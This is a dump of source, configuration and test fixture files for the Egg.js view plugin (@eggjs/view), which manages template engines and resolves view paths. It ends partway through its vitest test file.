    "content": "{\n  \"name\": \"@eggjs/view\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"Base view plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"egg-view\",\n    \"eggPlugin\",\n    \"view\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/view\",\n  \"bugs\": \"https://github.com/eggjs/egg/issues\",\n  \"license\": \"MIT\",\n  \"author\": \"popomore <sakura9515@gmail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/view\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./config/config.local\": \"./src/config/config.local.ts\",\n    \"./lib\": \"./src/lib/index.ts\",\n    \"./lib/context_view\": \"./src/lib/context_view.ts\",\n    \"./lib/view_manager\": \"./src/lib/view_manager.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./config/config.local\": \"./dist/config/config.local.js\",\n      \"./lib\": \"./dist/lib/index.js\",\n      \"./lib/context_view\": \"./dist/lib/context_view.js\",\n      \"./lib/view_manager\": \"./dist/lib/view_manager.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"is-type-of\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/view/src/app/extend/application.ts",
    "content": "import { Application } from 'egg';\n\nimport { ViewManager } from '../../lib/view_manager.ts';\n\nconst VIEW = Symbol('Application#view');\n\nexport default class ViewApplication extends Application {\n  /**\n   * Retrieve ViewManager instance\n   * @member {ViewManager} Application#view\n   */\n  get view(): ViewManager {\n    if (!this[VIEW]) {\n      this[VIEW] = new ViewManager(this);\n    }\n    return this[VIEW] as ViewManager;\n  }\n}\n"
  },
  {
    "path": "plugins/view/src/app/extend/context.ts",
    "content": "import { Context } from 'egg';\n\nimport { ContextView } from '../../lib/context_view.ts';\nimport { type RenderOptions } from '../../lib/view_manager.ts';\n\nconst VIEW = Symbol('Context#view');\n\nexport default class ViewContext extends Context {\n  /**\n   * Render a file by view engine, then set to body\n   * @param {String} name - the file path based on root\n   * @param {Object} [locals] - data used by template\n   * @param {Object} [options] - view options, you can use `options.viewEngine` to specify view engine\n   */\n  async render(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<void> {\n    const body = await this.renderView(name, locals, options);\n    this.body = body;\n  }\n\n  /**\n   * Render a file by view engine and return it\n   * @param {String} name - the file path based on root\n   * @param {Object} [locals] - data used by template\n   * @param {Object} [options] - view options, you can use `options.viewEngine` to specify view engine\n   * @return {Promise<String>} result - return a promise with a render result\n   */\n  async renderView(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string> {\n    return await this.view.render(name, locals, options);\n  }\n\n  /**\n   * Render template string by view engine and return it\n   * @param {String} tpl - template string\n   * @param {Object} [locals] - data used by template\n   * @param {Object} [options] - view options, you can use `options.viewEngine` to specify view engine\n   * @return {Promise<String>} result - return a promise with a render result\n   */\n  async renderString(tpl: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string> {\n    return await this.view.renderString(tpl, locals, options);\n  }\n\n  /**\n   * View instance that is created every request\n   * @member {ContextView} Context#view\n   */\n  get view(): ContextView {\n    if (!this[VIEW]) {\n      this[VIEW] = new ContextView(this);\n    }\n    return this[VIEW] as ContextView;\n  }\n}\n"
  },
  {
    "path": "plugins/view/src/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { defineConfigFactory, type EggConfigFactory } from 'egg';\n\nexport interface ViewConfig {\n  /**\n   * give a path to find the file, you can specify multiple path with `,` delimiter\n   * Default is `${baseDir}/app/view`\n   */\n  root: string;\n  /**\n   * whether cache the file's path\n   * Default is `true`\n   */\n  cache: boolean;\n  /**\n   * defaultExtension can be added automatically when there is no extension  when call `ctx.render`\n   * Default is `.html`\n   */\n  defaultExtension: string;\n  /**\n   * set the default view engine if you don't want specify the viewEngine every request.\n   * Default is `''`\n   */\n  defaultViewEngine: string;\n  /**\n   * map the file extension to view engine, such as `{ '.ejs': 'ejs' }`\n   * Default is `{}`\n   */\n  mapping: Record<string, string>;\n}\n\nconst config: EggConfigFactory = defineConfigFactory((appInfo) => ({\n  view: {\n    root: path.join(appInfo.baseDir, 'app/view'),\n    cache: true,\n    defaultExtension: '.html',\n    defaultViewEngine: '',\n    mapping: {},\n  },\n}));\n\nexport default config;\n"
  },
  {
    "path": "plugins/view/src/config/config.local.ts",
    "content": "import type { EggAppConfig } from 'egg';\n\nexport default {\n  view: {\n    cache: false,\n  },\n} as EggAppConfig;\n"
  },
  {
    "path": "plugins/view/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\nexport default definePluginFactory({\n  name: 'view',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n\nexport * from './lib/index.ts';\n"
  },
  {
    "path": "plugins/view/src/lib/context_view.ts",
    "content": "import assert from 'node:assert';\nimport path from 'node:path';\n\nimport type { Context, Application } from 'egg';\n\nimport { ViewManager, type ViewManagerConfig, type RenderOptions, ViewEngineBase } from './view_manager.ts';\n\n/**\n * View instance for each request.\n *\n * It will find the view engine, and render it.\n * The view engine should be registered in {@link ViewManager}.\n */\nexport class ContextView {\n  protected ctx: Context;\n  protected app: Application;\n  protected viewManager: ViewManager;\n  protected config: ViewManagerConfig;\n\n  constructor(ctx: Context) {\n    this.ctx = ctx;\n    this.app = this.ctx.app;\n    this.viewManager = this.app.view;\n    this.config = this.app.view.config;\n  }\n\n  /**\n   * Render a file by view engine\n   * @param {String} name - the file path based on root\n   * @param {Object} [locals] - data used by template\n   * @param {Object} [options] - view options, you can use `options.viewEngine` to specify view engine\n   * @return {Promise<String>} result - return a promise with a render result\n   */\n  async render(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string> {\n    return await this._render(name, locals, options);\n  }\n\n  /**\n   * Render a template string by view engine\n   * @param {String} tpl - template string\n   * @param {Object} [locals] - data used by template\n   * @param {Object} [options] - view options, you can use `options.viewEngine` to specify view engine\n   * @return {Promise<String>} result - return a promise with a render result\n   */\n  async renderString(tpl: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string> {\n    return await this._renderString(tpl, locals, options);\n  }\n\n  // ext -> viewEngineName -> viewEngine\n  private async _render(name: string, locals?: Record<string, any>, options: RenderOptions = {}): Promise<string> {\n    // retrieve fullpath matching name from `config.root`\n    const filename = await this.viewManager.resolve(name);\n    options.name = name;\n    options.root = filename.replace(path.normalize(name), '').replace(/[/\\\\]$/, '');\n    options.locals = locals;\n\n    // get the name of view engine,\n    // if viewEngine is specified in options, don't match extension\n    let viewEngineName = options.viewEngine;\n    if (!viewEngineName) {\n      const ext = path.extname(filename);\n      viewEngineName = this.viewManager.extMap.get(ext);\n    }\n    // use the default view engine that is configured if no matching above\n    if (!viewEngineName) {\n      viewEngineName = this.config.defaultViewEngine;\n    }\n    assert(viewEngineName, `Can't find viewEngine for ${filename}`);\n\n    // get view engine and render\n    const viewEngine = this._getViewEngine(viewEngineName);\n    return await viewEngine.render(filename, this._setLocals(locals), options);\n  }\n\n  private async _renderString(tpl: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string> {\n    let viewEngineName = options && options.viewEngine;\n    if (!viewEngineName) {\n      viewEngineName = this.config.defaultViewEngine;\n    }\n    assert(viewEngineName, \"Can't find viewEngine\");\n\n    // get view engine and render\n    const viewEngine = this._getViewEngine(viewEngineName);\n    return await viewEngine.renderString(tpl, this._setLocals(locals), options);\n  }\n\n  private _getViewEngine(name: string): ViewEngineBase {\n    // get view engine\n    const ViewEngineImpl = this.viewManager.get(name);\n    assert(ViewEngineImpl, `Can't find ViewEngine \"${name}\"`);\n\n    // use view engine to render\n    const engine = Reflect.construct(ViewEngineImpl, [this.ctx]);\n    return engine as ViewEngineBase;\n  }\n\n  /**\n   * set locals for view, inject `locals.ctx`, `locals.request`, `locals.helper`\n   * @private\n   */\n  private _setLocals(locals?: Record<string, any>): Record<string, any> {\n    return Object.assign(\n      {\n        ctx: this.ctx,\n        request: this.ctx.request,\n        helper: this.ctx.helper,\n      },\n      this.ctx.locals,\n      locals,\n    );\n  }\n}\n"
  },
  {
    "path": "plugins/view/src/lib/index.ts",
    "content": "export * from './view_manager.ts';\nexport * from './context_view.ts';\n"
  },
  {
    "path": "plugins/view/src/lib/view_manager.ts",
    "content": "import assert from 'node:assert';\nimport { existsSync } from 'node:fs';\nimport path from 'node:path';\n\nimport type { Context, Application } from 'egg';\nimport { isGeneratorFunction } from 'is-type-of';\nimport { exists } from 'utility';\n\nimport type { ViewConfig } from '../config/config.default.ts';\n\nexport interface ViewManagerConfig extends Omit<ViewConfig, 'root'> {\n  root: string[];\n}\n\nexport type PlainObject<T = any> = { [key: string]: T };\n\nexport interface RenderOptions extends PlainObject {\n  name?: string;\n  root?: string;\n  locals?: PlainObject;\n  viewEngine?: string;\n}\n\nexport abstract class ViewEngineBase {\n  ctx: Context;\n  app: Application;\n  constructor(ctx: Context) {\n    this.ctx = ctx;\n    this.app = ctx.app;\n  }\n\n  abstract render(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string>;\n  abstract renderString(tpl: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string>;\n}\n\n/**\n * ViewManager will manage all view engine that is registered.\n *\n * It can find the real file, then retrieve the view engine based on extension.\n * The plugin just register view engine using {@link ViewManager#use}\n */\nexport class ViewManager extends Map<string, typeof ViewEngineBase> {\n  config: ViewManagerConfig;\n  extMap: Map<string, string>;\n  fileMap: Map<string, string>;\n\n  /**\n   * @param {Application} app - application instance\n   */\n  constructor(app: Application) {\n    super();\n    this.config = app.config.view as unknown as ViewManagerConfig;\n    this.config.root = app.config.view.root.split(/\\s*,\\s*/g).filter((filepath) => existsSync(filepath));\n    this.extMap = new Map();\n    this.fileMap = new Map();\n    for (const ext of Object.keys(this.config.mapping)) {\n      this.extMap.set(ext, this.config.mapping[ext]);\n    }\n  }\n\n  /**\n   * This method can register view engine.\n   *\n   * You can define a view engine class contains two method, `render` and `renderString`\n   *\n   * ```js\n   * class View {\n   *   render() {}\n   *   renderString() {}\n   * }\n   * ```\n   * @param {String} name - the name of view engine\n   * @param {Object} viewEngine - the class of view engine\n   */\n  use(name: string, viewEngine: typeof ViewEngineBase): void {\n    assert(name, 'name is required');\n    assert(!this.has(name), `${name} has been registered`);\n\n    assert(viewEngine, 'viewEngine is required');\n    assert(viewEngine.prototype.render, 'viewEngine should implement `render` method');\n    assert(\n      !isGeneratorFunction(viewEngine.prototype.render),\n      'viewEngine `render` method should not be generator function',\n    );\n    assert(viewEngine.prototype.renderString, 'viewEngine should implement `renderString` method');\n    assert(\n      !isGeneratorFunction(viewEngine.prototype.renderString),\n      'viewEngine `renderString` method should not be generator function',\n    );\n\n    this.set(name, viewEngine);\n  }\n\n  /**\n   * Resolve the path based on the given name,\n   * if the name is `user.html` and root is `app/view` (by default),\n   * it will return `app/view/user.html`\n   * @param {String} name - the given path name, it's relative to config.root\n   * @return {String} filename - the full path\n   */\n  async resolve(name: string): Promise<string> {\n    const config = this.config;\n\n    // check cache\n    let filename = this.fileMap.get(name);\n    if (config.cache && filename) return filename;\n\n    // try find it with default extension\n    filename = await resolvePath([name, name + config.defaultExtension], config.root);\n    assert(filename, `Can't find ${name} from ${config.root.join(',')}`);\n\n    // set cache\n    this.fileMap.set(name, filename);\n    return filename;\n  }\n}\n\nasync function resolvePath(names: string[], root: string[]) {\n  for (const name of names) {\n    for (const dir of root) {\n      const filename = path.join(dir, name);\n      if (await exists(filename)) {\n        if (inpath(dir, filename)) {\n          return filename;\n        }\n      }\n    }\n  }\n}\n\nfunction inpath(parent: string, sub: string) {\n  return sub.indexOf(parent) > -1;\n}\n"
  },
  {
    "path": "plugins/view/src/types.ts",
    "content": "import type { ViewConfig } from './config/config.default.ts';\nimport type { ContextView } from './lib/context_view.ts';\nimport type { RenderOptions, ViewManager } from './lib/view_manager.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    /**\n     * view default config\n     * @member Config#view\n     * @property {String} [root=${baseDir}/app/view] - give a path to find the file, you can specify multiple path with `,` delimiter\n     * @property {Boolean} [cache=true] - whether cache the file's path\n     * @property {String} [defaultExtension] - defaultExtension can be added automatically when there is no extension  when call `ctx.render`\n     * @property {String} [defaultViewEngine] - set the default view engine if you don't want specify the viewEngine every request.\n     * @property {Object} mapping - map the file extension to view engine, such as `{ '.ejs': 'ejs' }`\n     */\n    view: ViewConfig;\n  }\n\n  interface Application {\n    get view(): ViewManager;\n  }\n\n  interface Context {\n    view: ContextView;\n    render(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<void>;\n    renderView(name: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string>;\n    renderString(tpl: string, locals?: Record<string, any>, options?: RenderOptions): Promise<string>;\n  }\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/cache/app/controller/home.js",
    "content": "'use strict';\n\nexports.index = (ctx) => ctx.render('home.nj');\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/cache/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/cache/app/view1/home.nj",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/cache/app/view2/home.nj",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/cache/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.view.use(\n    'nunjucks',\n    class NunjucksView {\n      render(filename) {\n        return Promise.resolve(filename);\n      }\n      renderString() {\n        return Promise.resolve('nunjucks');\n      }\n    },\n  );\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/cache/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => ({\n  keys: '123',\n  view: {\n    root: ['app/view1', 'app/view2'].map((view) => path.join(appInfo.baseDir, view)).join(','),\n    defaultViewEngine: 'nunjucks',\n  },\n});\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/cache/package.json",
    "content": "{\n  \"name\": \"cache\"\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/check-root/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/check-root/package.json",
    "content": "{\n  \"name\": \"check-name\"\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/default-view-engine/app/controller/view.js",
    "content": "'use strict';\n\nexports.render = (ctx) => ctx.render('a.html');\nexports.renderString = (ctx) => ctx.renderString('').then((data) => (ctx.body = data));\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/default-view-engine/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/render', 'view.render');\n  app.get('/render-string', 'view.renderString');\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/default-view-engine/app/view/a.html",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/default-view-engine/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.view.use(\n    'ejs',\n    class EjsView {\n      render() {\n        return Promise.resolve('ejs');\n      }\n      renderString() {\n        return Promise.resolve('ejs');\n      }\n    },\n  );\n  app.view.use(\n    'nunjucks',\n    class EjsView {\n      render() {\n        return Promise.resolve('nunjucks');\n      }\n      renderString() {\n        return Promise.resolve('nunjucks');\n      }\n    },\n  );\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/default-view-engine/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  view: {\n    defaultViewEngine: 'ejs',\n    mapping: {\n      '.nj': 'nunjucks',\n      '.ejs': 'ejs',\n    },\n  },\n\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/default-view-engine/package.json",
    "content": "{\n  \"name\": \"default-view-engine\"\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/controller/view.js",
    "content": "'use strict';\n\nexports.renderEjs = (ctx) => ctx.render('ext/a.ejs', { data: 1 }, { opt: 1 });\nexports.renderNunjucks = (ctx) => ctx.render('ext/a.nj', { data: 1 }, { opt: 1 });\nexports.renderWithOptions = (ctx) => ctx.render('ext/a.nj', {}, { viewEngine: 'ejs' });\n\nexports.renderWithoutExt = (ctx) => ctx.render('loader/a', { data: 1 }, { opt: 1 });\nexports.renderExtWithoutConfig = (ctx) => {\n  try {\n    return ctx.render('loader/a.noext');\n  } catch (err) {\n    return Promise.reject(err.message);\n  }\n};\n\nexports.renderWithoutViewEngine = (ctx) => {\n  try {\n    return ctx.render('loader/a.html');\n  } catch (err) {\n    return Promise.reject(err.message);\n  }\n};\n\nexports.renderMultipleRoot = (ctx) => ctx.render('loader/from-view2.ejs');\nexports.renderMultipleRootWithoutExtension = (ctx) => ctx.render('loader/from-view2');\nexports.loadSameFile = (ctx) => ctx.render('loader/a.nj');\nexports.loadFileNoexist = (ctx) => {\n  try {\n    return ctx.render('noexist.ejs');\n  } catch (err) {\n    return Promise.reject(err.message);\n  }\n};\n\nconst tpl = 'hello world';\nconst opt = { viewEngine: 'ejs' };\nexports.renderString = (ctx) => ctx.renderString(tpl, { data: 1 }, opt).then((data) => (ctx.body = data));\n\nexports.renderStringWithoutViewEngine = (ctx) => {\n  try {\n    return ctx.renderString(tpl);\n  } catch (err) {\n    return Promise.reject(err.message);\n  }\n};\n\nexports.renderLocals = (ctx) => {\n  ctx.locals = {\n    a: 1,\n    b: 1,\n  };\n  return ctx.render('ext/a.ejs', { b: 2 });\n};\n\nexports.renderOriginalLocals = (ctx) => {\n  ctx.locals = {\n    a: 1,\n    b: 1,\n  };\n  return ctx.render('ext/a.ejs', { b: 2 });\n};\n\nexports.renderStringLocals = (ctx) => {\n  ctx.locals = {\n    a: 1,\n    b: 1,\n  };\n  return ctx.render('', { b: 2 }, { viewEngine: 'ejs' });\n};\n\nexports.renderStringTwice = async (ctx) => {\n  const opt = { viewEngine: 'ejs' };\n  const res = await Promise.all([ctx.renderString('a', {}, opt), ctx.renderString('b', {}, opt)]);\n  ctx.body = res.map((o) => o.tpl).join(',');\n};\n\nexports.renderAsync = (ctx) => ctx.render('ext/a.async');\n\nexports.renderStringAsync = (ctx) =>\n  ctx.renderString('async function', {}, { viewEngine: 'async' }).then((data) => (ctx.body = data));\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/render-ejs', 'view.renderEjs');\n  app.get('/render-nunjucks', 'view.renderNunjucks');\n  app.get('/render-with-options', 'view.renderWithOptions');\n  app.get('/render-without-ext', 'view.renderWithoutExt');\n  app.get('/render-ext-without-config', 'view.renderExtWithoutConfig');\n  app.get('/render-without-view-engine', 'view.renderWithoutViewEngine');\n  app.get('/render-multiple-root', 'view.renderMultipleRoot');\n  app.get('/render-multiple-root-without-extenstion', 'view.renderMultipleRootWithoutExtension');\n  app.get('/load-same-file', 'view.loadSameFile');\n  app.get('/load-file-noexist', 'view.loadFileNoexist');\n\n  app.get('/render-string', 'view.renderString');\n  app.get('/render-string-without-view-engine', 'view.renderStringWithoutViewEngine');\n  app.get('/render-locals', 'view.renderLocals');\n  app.get('/render-string-locals', 'view.renderStringLocals');\n  app.get('/render-string-twice', 'view.renderStringTwice');\n  app.get('/render-original-locals', 'view.renderOriginalLocals');\n\n  app.get('/render-async', 'view.renderAsync');\n  app.get('/render-string-async', 'view.renderStringAsync');\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view/ext/a.async",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view/ext/a.ejs",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view/ext/a.nj",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view/loader/a.ejs",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view/loader/a.html",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view/loader/a.nj.ejs",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view/loader/a.noext",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view2/loader/a.nj",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app/view2/loader/from-view2.ejs",
    "content": ""
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.view.use('ejs', require('./ejs'));\n  app.view.use('nunjucks', require('./nunjucks'));\n  app.view.use('async', require('./async'));\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/async.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nclass AsyncView {\n  render(filename, locals, options) {\n    const ret = {\n      filename,\n      locals,\n      options,\n      type: 'async',\n    };\n    return scheduler.wait(10).then(() => ret);\n  }\n\n  renderString(tpl, locals, options) {\n    const ret = {\n      tpl,\n      locals,\n      options,\n      type: 'async',\n    };\n    return scheduler.wait(10).then(() => ret);\n  }\n}\n\nmodule.exports = AsyncView;\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  const root = [path.join(appInfo.baseDir, 'app/view'), path.join(appInfo.baseDir, 'app/view2')];\n  return {\n    keys: '123',\n    view: {\n      root: root.join(', '),\n      defaultExtension: '.ejs',\n      mapping: {\n        '.ejs': 'ejs',\n        '.nj': 'nunjucks',\n        '.async': 'async',\n        '.html': 'html',\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/ejs.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nclass EjsView {\n  async render(filename, locals, options) {\n    await scheduler.wait(10);\n    return {\n      filename,\n      locals,\n      options,\n      type: 'ejs',\n      originalLocals: options.locals,\n    };\n  }\n\n  async renderString(tpl, locals, options) {\n    await scheduler.wait(10);\n    return {\n      tpl,\n      locals,\n      options,\n      type: 'ejs',\n    };\n  }\n}\n\nmodule.exports = EjsView;\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/nunjucks.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nclass NunjucksView {\n  async render(filename, locals, options) {\n    await scheduler.wait(10);\n    return {\n      filename,\n      locals,\n      options,\n      type: 'nunjucks',\n    };\n  }\n\n  async renderString(tpl, locals, options) {\n    await scheduler.wait(10);\n    return {\n      tpl,\n      locals,\n      options,\n      type: 'nunjucks',\n    };\n  }\n}\n\nmodule.exports = NunjucksView;\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/multiple-view-engine/package.json",
    "content": "{\n  \"name\": \"multiple-view-engine\"\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/options-root/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async (ctx) => {\n    await ctx.render('sub/a.html');\n  });\n\n  app.get('/absolute', async (ctx) => {\n    await ctx.render('/sub/a.html');\n  });\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/options-root/app/view/sub/a.html",
    "content": "from view1\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/options-root/app.js",
    "content": "module.exports = (app) => {\n  class View {\n    async render(name, locals, options) {\n      return {\n        fullpath: name,\n        root: options.root,\n        name: options.name,\n      };\n    }\n\n    async renderString(name) {\n      return name;\n    }\n  }\n  app.view.use('html', View);\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/options-root/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = () => ({\n  keys: '123',\n  view: {\n    defaultViewEngine: 'html',\n  },\n});\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/options-root/package.json",
    "content": "{\n  \"name\": \"options-root\"\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/out-of-path/app/a.html",
    "content": "hello\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/out-of-path/app/controller/view.js",
    "content": "'use strict';\n\nexports.render = (ctx) => ctx.render('../a.html');\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/out-of-path/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/render', 'view.render');\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/out-of-path/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.view.use(\n    'nunjucks',\n    class NunjucksView {\n      render() {\n        return Promise.resolve('nunjucks');\n      }\n      renderString() {\n        return Promise.resolve('nunjucks');\n      }\n    },\n  );\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/out-of-path/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  view: {\n    defaultViewEngine: 'nunjucks',\n  },\n\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/out-of-path/package.json",
    "content": "{\n  \"name\": \"out-of-path\"\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/ts/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  async index(): Promise<void> {\n    const { ctx } = this;\n    this.app.logger.info(this.app.config.view.root);\n    this.app.logger.info(this.app.config.view.defaultExtension);\n    ctx.body = await this.ctx.view.render('./test.tpl', {\n      test: '123',\n    });\n  }\n\n  async other(): Promise<void> {\n    this.ctx.body = await this.ctx.renderString('./test.tpl');\n  }\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nconst setupRouter = (app: Application): void => {\n  const { controller } = app;\n\n  app.get('/', controller.home.index);\n};\n\nexport default setupRouter;\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/ts/app.ts",
    "content": "import { Application } from 'egg';\n\nimport { ViewEngineBase } from '../../../../src/index.ts';\n\nconst setupApp = (app: Application): void => {\n  app.view.use('newEngine', NewEngine);\n};\n\nexport default setupApp;\n\nclass NewEngine extends ViewEngineBase {\n  render(): Promise<string> {\n    return Promise.resolve('');\n  }\n  renderString(): Promise<string> {\n    return Promise.resolve('666');\n  }\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/ts/config/config.default.ts",
    "content": "import path from 'node:path';\n\nimport { defineConfigFactory, type PartialEggConfig, type EggConfigFactory } from 'egg';\n\nconst config: EggConfigFactory = defineConfigFactory((appInfo) => {\n  const config = {} as PartialEggConfig;\n\n  config.keys = '123123';\n\n  config.view = {\n    root: path.resolve(appInfo.baseDir, './'),\n  };\n  return config;\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/ts/package.json",
    "content": "{\n  \"name\": \"ts\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"skipDefaultLibCheck\": false,\n    \"skipLibCheck\": false\n  }\n}\n"
  },
  {
    "path": "plugins/view/test/fixtures/apps/ts/typings/index.d.ts",
    "content": "import 'egg';\nimport HomeController from '../app/controller/home.ts';\n\ndeclare module 'egg' {\n  interface IController {\n    home: HomeController;\n  }\n}\n"
  },
  {
    "path": "plugins/view/test/view.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nimport { ViewEngineBase } from '../src/index.ts';\n\nfunction getFixtures(name: string) {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/view.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('multiple view engine', () => {\n    const baseDir = getFixtures('apps/multiple-view-engine');\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/multiple-view-engine'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    describe('use', () => {\n      it('should throw when name do not exist', () => {\n        expect(() => {\n          (app.view as any).use();\n        }).toThrow(/name is required/);\n      });\n\n      